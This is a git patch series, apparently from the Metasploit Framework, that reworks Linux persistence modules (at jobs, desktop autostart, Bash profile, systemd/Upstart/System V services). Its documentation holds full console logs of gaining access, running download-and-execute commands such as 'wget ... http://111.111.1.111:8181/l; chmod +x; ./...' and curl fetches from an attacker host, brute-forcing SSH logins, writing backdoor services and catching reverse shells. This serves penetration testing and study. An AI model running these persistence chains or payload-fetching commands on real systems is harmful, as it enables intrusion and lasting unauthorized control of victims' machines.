Meterpreter session 2 opened (192.168.10.144:4444 -> 192.168.10.144:36212) at 2025-02-06 11:52:00 -0500 + +[msf](Jobs:3 Agents:2) exploit(multi/persistence/at) > date +[*] exec: date + +Thu Feb 6 11:52:20 AM EST 2025 +``` \ No newline at end of file diff --git a/documentation/modules/exploit/unix/persistence/unix/at.md b/documentation/modules/exploit/unix/persistence/unix/at.md deleted file mode 100644 index 1b5b19128387..000000000000 --- a/documentation/modules/exploit/unix/persistence/unix/at.md +++ /dev/null @@ -1,32 +0,0 @@ -## Vulnerable Application - -This module executes a metasploit payload utilizing `at(1)` to execute jobs at a specific time. It should work out of the box -with any UNIX-like operating system with `atd` running. In the case of OS X, the `atrun` service must be launched: - -``` -sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.atrun.plist -``` - -## Verification Steps - - 1. Start msfconsole - 2. Exploit a box via whatever method - 3. Do: `use exploit/unix/local/at_persistence` - 4. Do: `set session #` - 5. Do: `set target #` - 6. `exploit` - - -## Options - - **TIME** - - When to run job via at(1). Changing may require WfsDelay to be adjusted. - - **PATH** - - Path to store payload to be executed by at(1). Leave unset to use mktemp. - -## Scenarios - -This module is useful for running one-shot payloads with delayed execution. It is slightly less obvious than cron. diff --git a/modules/exploits/unix/persistence/at.rb b/modules/exploits/multi/persistence/at.rb similarity index 87% rename from modules/exploits/unix/persistence/at.rb rename to modules/exploits/multi/persistence/at.rb index 490f464db7b8..3f6e3bbab615 100644 --- a/modules/exploits/unix/persistence/at.rb +++ b/modules/exploits/multi/persistence/at.rb @@ -27,7 +27,7 @@ def initialize(info = {}) ], 'Targets' => [['Automatic', {} ]], 'DefaultTarget' => 0, - 'Platform' => %w[unix], + 'Platform' => %w[unix linux osx], 'Arch' => ARCH_CMD, 'SessionTypes' => ['meterpreter', 'shell'], 'DisclosureDate' => '1997-01-01', # http://pubs.opengroup.org/onlinepubs/007908799/xcu/at.html @@ -65,11 +65,16 @@ def check end def install_persistence + payload_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(7..12)}" + vprint_status("Writing payload to #{payload_file}") write_file(payload_file, payload.encoded) @clean_up_rc << "rm #{payload_file}\n" cmd_exec("chmod 700 #{payload_file}") - cmd_exec("at -f #{payload_file} #{datastore['TIME']}") + job = cmd_exec("at -f #{payload_file} #{datastore['TIME']}") + job_id = job.split(' ')[1] + print_good("at job created with id: #{job_id}") + @clean_up_rc << "atrm #{job_id}\n" print_status("Waiting up to #{datastore['WfsDelay']}sec for execution") end From d902ba8c375eb308343ff024806e4173373eb52b Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 6 Feb 2025 17:15:32 -0500 Subject: [PATCH 71/94] autostart finished --- .../exploit/linux/persistence/autostart.md | 116 ++++++++++++++++-- .../modules/exploit/multi/persistence/at.md | 2 +- .../exploits/linux/persistence/autostart.rb | 12 +- 3 files changed, 115 insertions(+), 15 deletions(-) diff --git a/documentation/modules/exploit/linux/persistence/autostart.md b/documentation/modules/exploit/linux/persistence/autostart.md index 81f2e889f2f6..dddca356b638 100644 --- a/documentation/modules/exploit/linux/persistence/autostart.md +++ b/documentation/modules/exploit/linux/persistence/autostart.md @@ -1,22 +1,122 @@ ## Autostart persistence -This module persist a payload by creating a `.desktop` entry for Linux desktop targets. +This module will create an autostart `.desktop` entry to execute a payload. +The payload will be executed when the users logs in. + +Verified on Ubuntu 22.04 desktop with Gnome, and 18.04.3. +The following payloads were used in testing: +- `cmd/unix/reverse_netcat` +- `linux/x64/meterpreter/reverse_tcp` +- `cmd/linux/http/x64/meterpreter/reverse_tcp` ### Testing 1. Exploit a box -2. `use exploit/linux/local/autostart_persistence` +2. `use exploit/linux/persistence/autostart` 3. `set SESSION ` -4. `set PAYLOAD cmd/unix/reverse_python` (for instance), configure the payload as needed -5. `exploit` - -When the victim logs in your payload will be executed! +4. `exploit` +When the victim logs in, your payload will be executed! ### Options +**BACKDOOR_NAME** + +Name of autostart entry. Defaults to a randomly generated name + +**PAYLOAD_NAME** + +Name of the payload file to write. Defaults to a randomly generated name + +**USER** + +User to target, or current user if blank + +## Scenarios + +### Ubuntu 18.04.3 + +Initial access vector via web delivery + +``` +[*] Processing /root/.msf4/msfconsole.rc for ERB directives. +resource (/root/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111 +lhost => 111.111.1.111 +resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery +[*] Using configured payload python/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set srvport 8181 +srvport => 8181 +resource (/root/.msf4/msfconsole.rc)> set target 7 +target => 7 +resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set lport 4545 +lport => 4545 +resource (/root/.msf4/msfconsole.rc)> set URIPATH l +URIPATH => l +resource (/root/.msf4/msfconsole.rc)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Starting persistent handler(s)... +[*] Started reverse TCP handler on 111.111.1.111:4545 +[*] Using URL: http://111.111.1.111:8181/l + +[*] Server started. +[*] Run the following command on the target machine: +wget -qO FWdHRs3A --no-check-certificate http://111.111.1.111:8181/l; chmod +x FWdHRs3A; ./FWdHRs3A& disown +[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > [*] 222.222.2.222 web_delivery - Delivering Payload (250 bytes) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 222.222.2.222 +[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:57884) at 2025-02-06 17:03:03 -0500 + +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1 +[*] Starting interaction with 1... + +(Meterpreter 1)(/tmp) > sysinfo +Computer : ubuntu18desktop.local +OS : Ubuntu 18.04 (Linux 5.4.0-150-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +(Meterpreter 1)(/tmp) > background +[*] Backgrounding session 1... +``` + +Persistence + +``` +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/autostart +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +[msf](Jobs:1 Agents:1) exploit(linux/persistence/autostart) > set session 1 +session => 1 +[msf](Jobs:1 Agents:1) exploit(linux/persistence/autostart) > exploit +[*] Command to run on remote host: curl -so ./xcsqfBQnCfcm http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./xcsqfBQnCfcm;./xcsqfBQnCfcm& +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. +[msf](Jobs:2 Agents:1) exploit(linux/persistence/autostart) > +[*] Fetch handler listening on 111.111.1.111:8080 +[*] HTTP server started +[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg +[*] Started reverse TCP handler on 111.111.1.111:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. Xorg is installed, possible desktop install. +[!] Payloads in /tmp will only last until reboot, you may want to choose elsewhere. +[*] Making sure the autostart directory exists +[*] Uploading autostart file /home/ubuntu/.config/autostart/bHOXeW.desktop +[+] Backdoor will run on next login by ubuntu +[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/ubuntu18desktop.local_20250206.0326/ubuntu18desktop.local_20250206.0326.rc +[*] Client 222.222.2.222 requested /Hg3DGEu9GqlWD06kh4AzFg +``` -**NAME** +Login via gui -Name of the `.desktop` entry to add, if not specified it will be chosen randomly. +``` +[*] Sending payload to 222.222.2.222 (curl/7.58.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 222.222.2.222 +[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:44316) at 2025-02-06 17:03:50 -0500 +[msf](Jobs:2 Agents:2) exploit(linux/persistence/autostart) > +``` \ No newline at end of file diff --git a/documentation/modules/exploit/multi/persistence/at.md b/documentation/modules/exploit/multi/persistence/at.md index 0fe884cae9b8..1ce13b35d247 100644 --- a/documentation/modules/exploit/multi/persistence/at.md +++ b/documentation/modules/exploit/multi/persistence/at.md @@ -34,7 +34,7 @@ sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.atrun.plist ### Kali Linux -Original shell +Initial access vector via web delivery ``` [*] Processing /home/mtcyr/.msf4/msfconsole.rc for ERB directives. diff --git a/modules/exploits/linux/persistence/autostart.rb b/modules/exploits/linux/persistence/autostart.rb index b52df75b649f..b74a8d24e6dd 100644 --- a/modules/exploits/linux/persistence/autostart.rb +++ b/modules/exploits/linux/persistence/autostart.rb @@ -22,14 +22,14 @@ def initialize(info = {}) info, 'Name' => 'Autostart Desktop Item Persistence', 'Description' => %q{ - This module will create an autostart entry to execute a payload. + This module will create an autostart .desktop entry to execute a payload. The payload will be executed when the users logs in. - Verified on Ubuntu 22.04 desktop with Gnome - # working payload: cmd/unix/reverse_netcat - # working payload: linux/x64/meterpreter/reverse_tcp - # failing payload: cmd/linux/http/x64/meterpreter/reverse_tcp - # fetches failing? it does the connection back, but then doens't execute... + Verified on Ubuntu 22.04 desktop with Gnome, and 18.04.3. + The following payloads were used in testing: + - cmd/unix/reverse_netcat + - linux/x64/meterpreter/reverse_tcp + - cmd/linux/http/x64/meterpreter/reverse_tcp }, 'License' => MSF_LICENSE, 'Author' => [ 'Eliott Teissonniere' ], From e2fd131b56c2be7c0e4e9e954dbecc77b3f7a514 Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 6 Feb 2025 21:18:37 -0500 Subject: [PATCH 72/94] bash_profile finished --- .../exploit/linux/persistence/autostart.md | 6 +- .../exploit/linux/persistence/bash_profile.md | 130 ++++++-- .../exploit/linux/persistence/init_openrc.md | 305 ++++++++++++++++++ .../exploit/linux/persistence/init_upstart.md | 305 ++++++++++++++++++ .../exploit/linux/persistence/systemd.md | 305 ++++++++++++++++++ .../exploit/linux/persistence/sysvinit.md | 305 ++++++++++++++++++ .../linux/persistence/bash_profile.rb | 20 +- modules/exploits/linux/persistence/cron.rb | 57 ++-- .../exploits/linux/persistence/init_openrc.rb | 74 ++--- .../linux/persistence/init_systemd.rb | 36 +-- .../linux/persistence/init_sysvinit.rb | 26 +- .../linux/persistence/init_upstart.rb | 21 +- 12 files changed, 1412 insertions(+), 178 deletions(-) create mode 100644 documentation/modules/exploit/linux/persistence/init_openrc.md create mode 100644 documentation/modules/exploit/linux/persistence/init_upstart.md create mode 100644 documentation/modules/exploit/linux/persistence/systemd.md create mode 100644 documentation/modules/exploit/linux/persistence/sysvinit.md diff --git a/documentation/modules/exploit/linux/persistence/autostart.md b/documentation/modules/exploit/linux/persistence/autostart.md index dddca356b638..0bbdd298320b 100644 --- a/documentation/modules/exploit/linux/persistence/autostart.md +++ b/documentation/modules/exploit/linux/persistence/autostart.md @@ -1,4 +1,4 @@ -## Autostart persistence +## Description This module will create an autostart `.desktop` entry to execute a payload. The payload will be executed when the users logs in. @@ -9,7 +9,7 @@ The following payloads were used in testing: - `linux/x64/meterpreter/reverse_tcp` - `cmd/linux/http/x64/meterpreter/reverse_tcp` -### Testing +## Verification Steps 1. Exploit a box 2. `use exploit/linux/persistence/autostart` @@ -18,7 +18,7 @@ The following payloads were used in testing: When the victim logs in, your payload will be executed! -### Options +## Options **BACKDOOR_NAME** diff --git a/documentation/modules/exploit/linux/persistence/bash_profile.md b/documentation/modules/exploit/linux/persistence/bash_profile.md index c591fb6286bb..d5dab32f14c0 100644 --- a/documentation/modules/exploit/linux/persistence/bash_profile.md +++ b/documentation/modules/exploit/linux/persistence/bash_profile.md @@ -1,50 +1,114 @@ ## Description - This module establishes persistence via the Linux Bash profile method. - This module makes two changes to the target system. - First, the module writes a payload to a directory (`/var/temp/` by default). - Second, the module writes a payload execution trigger to the Bash profile (`~/.bashrc` by default). - The persistent payload is executed whenever the victim user opens a Bash terminal. +This module writes an execution trigger to the target's Bash profile. +The execution trigger executes a call back payload whenever the target +user opens a Bash terminal. -## Vulnerable Application - - This module has been tested successfully on: - - * Ubuntu 19 (x86_64) running GNU bash, version 5.0.3(1)-release +Verified on Ubuntu 22.04 and 18.04 desktop with Gnome ## Verification Steps - 1. Start `msfconsole` - 2. Get a Meterpreter session - 3. `use exploit/linux/local/bash_profile_persistence` - 4. `set SESSION [SESSION]` - 5. `run` - 6. On victim, open a new Bash terminal - 7. You should get a new session with the permissions of the exploited user account +1. Start `msfconsole` +2. Get a Meterpreter session +3. `use exploit/linux/local/bash_profile_persistence` +4. `set SESSION [SESSION]` +5. `run` +6. On victim, open a new Bash terminal +7. You should get a new session with the permissions of the exploited user account ## Options - **BASH_PROFILE** +**BASH_PROFILE** - The path to the target Bash profile. (default: `~/.bashrc`) +The path to the target Bash profile. Defaults to `.bashrc` - **PAYLOAD_DIR** +**BACKDOOR_NAME** - A writable directory file system path. (default: `/var/tmp`) +Name of the payload file. Defaults to random ## Scenarios +### Ubuntu 18.04.3 + +Initial access vector via web delivery + +``` +[*] Processing /root/.msf4/msfconsole.rc for ERB directives. +resource (/root/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111 +lhost => 111.111.1.111 +resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery +[*] Using configured payload python/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set srvport 8181 +srvport => 8181 +resource (/root/.msf4/msfconsole.rc)> set target 7 +target => 7 +resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set lport 4545 +lport => 4545 +resource (/root/.msf4/msfconsole.rc)> set URIPATH l +URIPATH => l +resource (/root/.msf4/msfconsole.rc)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Starting persistent handler(s)... +[*] Started reverse TCP handler on 111.111.1.111:4545 + +[*] Using URL: http://111.111.1.111:8181/l +[*] Server started. +[*] Run the following command on the target machine: +wget -qO O2XZweCh --no-check-certificate http://111.111.1.111:8181/l; chmod +x O2XZweCh; ./O2XZweCh& disown +[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > [*] 222.222.2.222 web_delivery - Delivering Payload (250 bytes) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 222.222.2.222 +[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:44878) at 2025-02-06 21:11:39 -0500 +``` + +Persistence + ``` -msf5 > use exploit/linux/local/bash_profile_persistence -msf5 exploit(linux/local/bash_profile_persistence) > set SESSION 1 -msf5 exploit(linux/local/bash_profile_persistence) > exploit - -[*] Bash profile exists: /home/user/.bashrc -[*] Bash profile is writable: /home/user/.bashrc -[*] Created backup Bash profile: /root/.msf4/logs/persistence/192.168.1.191_20191128.130945_Bash_Profile.backup -[*] Writing '/var/tmp/IgHypGLMglheQ' (126 bytes) ... -[+] Wrote payload trigger to Bash profile -[!] Payload will be triggered when target opens a Bash terminal -[!] Don't forget to start your handler: -[!] msf> handler -H 0.0.0.0 -P 4444 -p cmd/unix/reverse_python +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/bash_profile +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +[msf](Jobs:1 Agents:1) exploit(linux/persistence/bash_profile) > set session 1 +session => 1 +[msf](Jobs:1 Agents:1) exploit(linux/persistence/bash_profile) > exploit +[*] Command to run on remote host: curl -so ./QfTygMjF http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./QfTygMjF;./QfTygMjF& +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. +[msf](Jobs:2 Agents:1) exploit(linux/persistence/bash_profile) > +[*] Fetch handler listening on 111.111.1.111:8080 +[*] HTTP server started +[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg +[*] Started reverse TCP handler on 111.111.1.111:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Bash profile exists: /home/ubuntu/.bashrc +[+] Bash profile is writable: /home/ubuntu/.bashrc +[!] The service is running, but could not be validated. Bash profile exists and is writable: /home/ubuntu/.bashrc +[*] Created backup Bash profile: /root/.msf4/loot/20250206211215_default_222.222.2.222_desktop..bashrc_080965.txt +[*] Writing '/tmp/BfkldKp4' (100 bytes) ... +[*] Created Bash profile persistence +[+] Payload will be triggered when target opens a Bash terminal +[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/ubuntu18desktop.local_20250206.1216/ubuntu18desktop.local_20250206.1216.rc +``` +On the remote host open `/bin/bash` + +``` +[*] Client 222.222.2.222 requested /Hg3DGEu9GqlWD06kh4AzFg +[*] Sending payload to 222.222.2.222 (curl/7.58.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 222.222.2.222 +[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:40990) at 2025-02-06 21:12:21 -0500 + +[msf](Jobs:2 Agents:2) exploit(linux/persistence/bash_profile) > sessions -i 2 +[*] Starting interaction with 2... + +(Meterpreter 2)(/tmp) > sysinfo +Computer : ubuntu18desktop.local +OS : Ubuntu 18.04 (Linux 5.4.0-150-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +(Meterpreter 2)(/tmp) > ``` diff --git a/documentation/modules/exploit/linux/persistence/init_openrc.md b/documentation/modules/exploit/linux/persistence/init_openrc.md new file mode 100644 index 000000000000..46d920043406 --- /dev/null +++ b/documentation/modules/exploit/linux/persistence/init_openrc.md @@ -0,0 +1,305 @@ +### Creating A Testing Environment + + This module has been tested against: + +1. Kali 2.0 (System V) +2. Ubuntu 14.04 (Upstart) +3. Ubuntu 16.04 (systemd) +4. Ubuntu 16.04 (systemd user) +5. Centos 5 (System V) +6. Fedora 18 (systemd) +7. Fedora 20 (systemd) + +## Verification Steps + + 1. Start msfconsole + 2. Exploit a box via whatever method + 3. Do: `use exploit/linux/local/service_persistence` + 4. Do: `set session #` + 5. Do: `set verbose true` + 6. Do: `set payload cmd/unix/reverse_python` or `payload cmd/unix/reverse_netcat` depending on system. + 7. Optional Do: `set SHELLAPTH /bin` if needed for compatibility on remote system. + 8. Do: `set lhost` + 9. Do: `exploit` + 10. Do: `use exploit/multi/handler` + 11. Do: `set payload cmd/unix/reverse_python` or `payload cmd/unix/reverse_netcat` depending on system. + 12. Do: `set lhost` + 13. Do: `exploit -j` + 14. Kill your shell (if System V, reboot target). Upstart/systemd wait 10sec + 15. Get Shell + +## Options + +**target** + + There are several targets selectable, which all have their own issues. + +0. Automatic: Detect the service handler automatically based on running `which` to find the admin binaries +1. System V: There is no automated restart, so while you'll get a shell, if it crashes, you'll need to wait for a init shift to restart the process automatically (like a reboot). This logs to syslog or /var/log/.log and .err +2. Upstart: Logs to its own file. This module is set to restart the shell after a 10sec pause, and do this forever. +3. systemd and systemd user: This module is set to restart the shell after a 10sec pause, and do this forever. + +**BACKDOOR_PATH** + + If you need to change the location where the backdoor is written (like on CentOS 5), it can be done here. Default is /usr/local/bin + +**SERVICE** + + The name of the service to create. If not chosen, a 7 character random one is created. + +**SHELL_NAME** + + The name of the file to write with our shell. If not chosen, a 5 character random one is created. + +## Scenarios + +### System V (Centos 5 - root - chkconfig) + +Get initial access + + msf > use auxiliary/scanner/ssh/ssh_login + msf auxiliary(ssh_login) > set rhosts 192.168.199.131 + rhosts => 192.168.199.131 + msf auxiliary(ssh_login) > set username root + username => root + msf auxiliary(ssh_login) > set password centos + password => centos + msf auxiliary(ssh_login) > exploit + + [*] 192.168.199.131:22 SSH - Starting bruteforce + [+] 192.168.199.131:22 SSH - Success: 'root:centos' 'uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t:SystemLow-SystemHigh Linux localhost.localdomain 2.6.18-398.el5 #1 SMP Tue Sep 16 20:51:48 EDT 2014 i686 i686 i386 GNU/Linux ' + [*] Command shell session 1 opened (192.168.199.128:49359 -> 192.168.199.131:22) at 2016-06-22 14:27:38 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + +Install our callback service (system_v w/ chkconfig). Note we change BACKDOOR_PATH since /usr/local/bin isnt in the path for CentOS 5 services. + + msf auxiliary(ssh_login) > use exploit/linux/local/service_persistence + msf exploit(service_persistence) > set session 1 + session => 1 + msf exploit(service_persistence) > set verbose true + verbose => true + msf exploit(service_persistence) > set BACKDOOR_PATH /bin + BACKDOOR_PATH => /bin + msf exploit(service_persistence) > set payload cmd/unix/reverse_netcat + payload => cmd/unix/reverse_netcat + msf exploit(service_persistence) > set lhost 192.168.199.128 + lhost => 192.168.199.128 + msf exploit(service_persistence) > exploit + + [*] Started reverse handler on 192.168.199.128:4444 + [*] Writing backdoor to /bin/GUIJc + [*] Max line length is 65537 + [*] Writing 95 bytes in 1 chunks of 329 bytes (octal-encoded), using printf + [*] Utilizing System_V + [*] Utilizing chkconfig + [*] Writing service: /etc/init.d/HqdezBF + [*] Max line length is 65537 + [*] Writing 1825 bytes in 1 chunks of 6409 bytes (octal-encoded), using printf + [*] Enabling & starting our service + [*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.131:56182) at 2016-06-22 14:27:50 -0400 + +Reboot the box to prove persistence + + reboot + ^Z + Background session 2? [y/N] y + msf exploit(service_persistence) > use exploit/multi/handler + msf exploit(handler) > set payload cmd/unix/reverse_netcat + payload => cmd/unix/reverse_netcat + msf exploit(handler) > set lhost 192.168.199.128 + lhost => 192.168.199.128 + msf exploit(handler) > exploit + + [*] Started reverse handler on 192.168.199.128:4444 + [*] Starting the payload handler... + [*] Command shell session 3 opened (192.168.199.128:4444 -> 192.168.199.131:44744) at 2016-06-22 14:29:32 -0400 + + +### Upstart (Ubuntu 14.04.4 Server - root) +Of note, I allowed Root login via SSH w/ password only to gain easy initial access + +Get initial access + + msf auxiliary(ssh_login) > exploit + + [*] 10.10.60.175:22 SSH - Starting bruteforce + [+] 10.10.60.175:22 SSH - Success: 'root:ubuntu' 'uid=0(root) gid=0(root) groups=0(root) Linux ubuntu 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:27 UTC 2016 i686 i686 i686 GNU/Linux ' + [*] Command shell session 1 opened (10.10.60.168:43945 -> 10.10.60.175:22) at 2016-06-22 08:03:15 -0400 + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + +Install our callback service (Upstart) + + msf auxiliary(ssh_login) > use exploit/linux/local/service_persistence + msf exploit(service_persistence) > set session 1 + session => 1 + msf exploit(service_persistence) > set verbose true + verbose => true + msf exploit(service_persistence) > set payload cmd/unix/reverse_python + payload => cmd/unix/reverse_python + msf exploit(service_persistence) > set lhost 10.10.60.168 + lhost => 10.10.60.168 + msf exploit(service_persistence) > exploit + + [*] Started reverse handler on 10.10.60.168:4444 + [*] Writing backdoor to /usr/local/bin/bmmjv + [*] Max line length is 65537 + [*] Writing 429 bytes in 1 chunks of 1650 bytes (octal-encoded), using printf + [*] Utilizing Upstart + [*] Writing /etc/init/Hipnufl.conf + [*] Max line length is 65537 + [*] Writing 236 bytes in 1 chunks of 874 bytes (octal-encoded), using printf + [*] Starting service + [*] Dont forget to clean logs: /var/log/upstart/Hipnufl.log + [*] Command shell session 5 opened (10.10.60.168:4444 -> 10.10.60.175:44368) at 2016-06-22 08:23:46 -0400 + +And now, we can kill the callback shell from our previous session + + ^Z + Background session 5? [y/N] y + msf exploit(service_persistence) > sessions -i 1 + [*] Starting interaction with 1... + + netstat -antp | grep 4444 + tcp 0 0 10.10.60.175:44368 10.10.60.168:4444 ESTABLISHED 1783/bash + tcp 0 0 10.10.60.175:44370 10.10.60.168:4444 ESTABLISHED 1789/python + kill 1783 + [*] 10.10.60.175 - Command shell session 5 closed. Reason: Died from EOFError + kill 1789 + +Now with a multi handler, we can catch Upstart restarting the process every 10sec + + msf > use exploit/multi/handler + msf exploit(handler) > set payload cmd/unix/reverse_python + payload => cmd/unix/reverse_python + msf exploit(handler) > set lhost 10.10.60.168 + lhost => 10.10.60.168 + msf exploit(handler) > exploit + + [*] Started reverse handler on 10.10.60.168:4444 + [*] Starting the payload handler... + [*] Command shell session 3 opened (10.10.60.168:4444 -> 10.10.60.175:44390) at 2016-06-22 08:26:48 -0400 + + +### systemd (Ubuntu 16.04 Server - root) +Ubuntu 16.04 doesn't have many of the default shell options, however `cmd/unix/reverse_netcat` works. +While python shellcode works on previous systems, on 16.04 the path is `python3`, and therefore `python` will fail the shellcode. + +Get initial access + + msf exploit(handler) > use exploit/linux/local/service_persistence + msf exploit(service_persistence) > set session 1 + session => 1 + msf exploit(service_persistence) > set verbose true + verbose => true + msf exploit(service_persistence) > set payload cmd/unix/reverse_netcat + payload => cmd/unix/reverse_netcat + msf exploit(service_persistence) > set lhost 192.168.199.128 + lhost => 192.168.199.128 + msf exploit(service_persistence) > exploit + + [*] Started reverse handler on 192.168.199.128:4444 + [*] Writing backdoor to /usr/local/bin/JSRCF + [*] Max line length is 65537 + [*] Writing 103 bytes in 1 chunks of 361 bytes (octal-encoded), using printf + [*] Utilizing systemd + [*] /lib/systemd/system/YelHpCx.service + [*] Max line length is 65537 + [*] Writing 151 bytes in 1 chunks of 579 bytes (octal-encoded), using printf + [*] Enabling service + [*] Starting service + [*] Command shell session 7 opened (192.168.199.128:4444 -> 192.168.199.130:47050) at 2016-06-22 10:35:07 -0400 + + ^Z + Background session 7? [y/N] y + +Kill the process on the Ubuntu target box via local access #good_admin + + root@ubuntu:/etc/systemd/system/multi-user.target.wants# netstat -antp | grep 4444 + tcp 0 0 192.168.199.130:47052 192.168.199.128:4444 ESTABLISHED 5632/nc + root@ubuntu:/etc/systemd/system/multi-user.target.wants# kill 5632 + +And logically, we lose our shell + + [*] 192.168.199.130 - Command shell session 7 closed. Reason: Died from EOFError + +Now with a multi handler, we can catch systemd restarting the process every 10sec + + + msf exploit(service_persistence) > use exploit/multi/handler + msf exploit(handler) > show options + + Module options (exploit/multi/handler): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + + Payload options (cmd/unix/reverse_netcat): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.199.128 yes The listen address + LPORT 4444 yes The listen port + + Exploit target: + + Id Name + -- ---- + 0 Wildcard Target + + msf exploit(handler) > exploit + + [*] Started reverse handler on 192.168.199.128:4444 + [*] Starting the payload handler... + [*] Command shell session 8 opened (192.168.199.128:4444 -> 192.168.199.130:47056) at 2016-06-22 10:37:30 -0400 + +### systemd user (Ubuntu 16.04 Server - vagrant) + + msf5 exploit(linux/local/service_persistence) > options + + Module options (exploit/linux/local/service_persistence): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + BACKDOOR_PATH /tmp yes Writable path to put our shell + SERVICE no Name of service to create + SESSION yes The session to run this module on + SHELL_NAME no Name of shell file to write + + + Payload options (cmd/unix/reverse_netcat): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 172.28.128.1 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + + Exploit target: + + Id Name + -- ---- + 4 systemd user + + + msf5 exploit(linux/local/service_persistence) > run + + [!] SESSION may not be compatible with this module. + [*] Started reverse TCP handler on 172.28.128.1:4444 + [*] Writing backdoor to /tmp/PPpCF + [*] Max line length is 65537 + [*] Writing 94 bytes in 1 chunks of 330 bytes (octal-encoded), using printf + [*] Creating user service directory + [*] Writing service: /home/vagrant/.config/systemd/user/OzzdRBC.service + [*] Max line length is 65537 + [*] Writing 203 bytes in 1 chunks of 778 bytes (octal-encoded), using printf + [*] Reloading manager configuration + [*] Enabling service + [*] Starting service: OzzdRBC + [*] Command shell session 2 opened (172.28.128.1:4444 -> 172.28.128.3:52564) at 2019-03-06 00:22:40 -0600 + + id + uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant) + uname -a + Linux ubuntu-xenial 4.4.0-141-generic #167-Ubuntu SMP Wed Dec 5 10:40:15 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux diff --git a/documentation/modules/exploit/linux/persistence/init_upstart.md b/documentation/modules/exploit/linux/persistence/init_upstart.md new file mode 100644 index 000000000000..46d920043406 --- /dev/null +++ b/documentation/modules/exploit/linux/persistence/init_upstart.md @@ -0,0 +1,305 @@ +### Creating A Testing Environment + + This module has been tested against: + +1. Kali 2.0 (System V) +2. Ubuntu 14.04 (Upstart) +3. Ubuntu 16.04 (systemd) +4. Ubuntu 16.04 (systemd user) +5. Centos 5 (System V) +6. Fedora 18 (systemd) +7. Fedora 20 (systemd) + +## Verification Steps + + 1. Start msfconsole + 2. Exploit a box via whatever method + 3. Do: `use exploit/linux/local/service_persistence` + 4. Do: `set session #` + 5. Do: `set verbose true` + 6. Do: `set payload cmd/unix/reverse_python` or `payload cmd/unix/reverse_netcat` depending on system. + 7. Optional Do: `set SHELLAPTH /bin` if needed for compatibility on remote system. + 8. Do: `set lhost` + 9. Do: `exploit` + 10. Do: `use exploit/multi/handler` + 11. Do: `set payload cmd/unix/reverse_python` or `payload cmd/unix/reverse_netcat` depending on system. + 12. Do: `set lhost` + 13. Do: `exploit -j` + 14. Kill your shell (if System V, reboot target). Upstart/systemd wait 10sec + 15. Get Shell + +## Options + +**target** + + There are several targets selectable, which all have their own issues. + +0. Automatic: Detect the service handler automatically based on running `which` to find the admin binaries +1. System V: There is no automated restart, so while you'll get a shell, if it crashes, you'll need to wait for a init shift to restart the process automatically (like a reboot). This 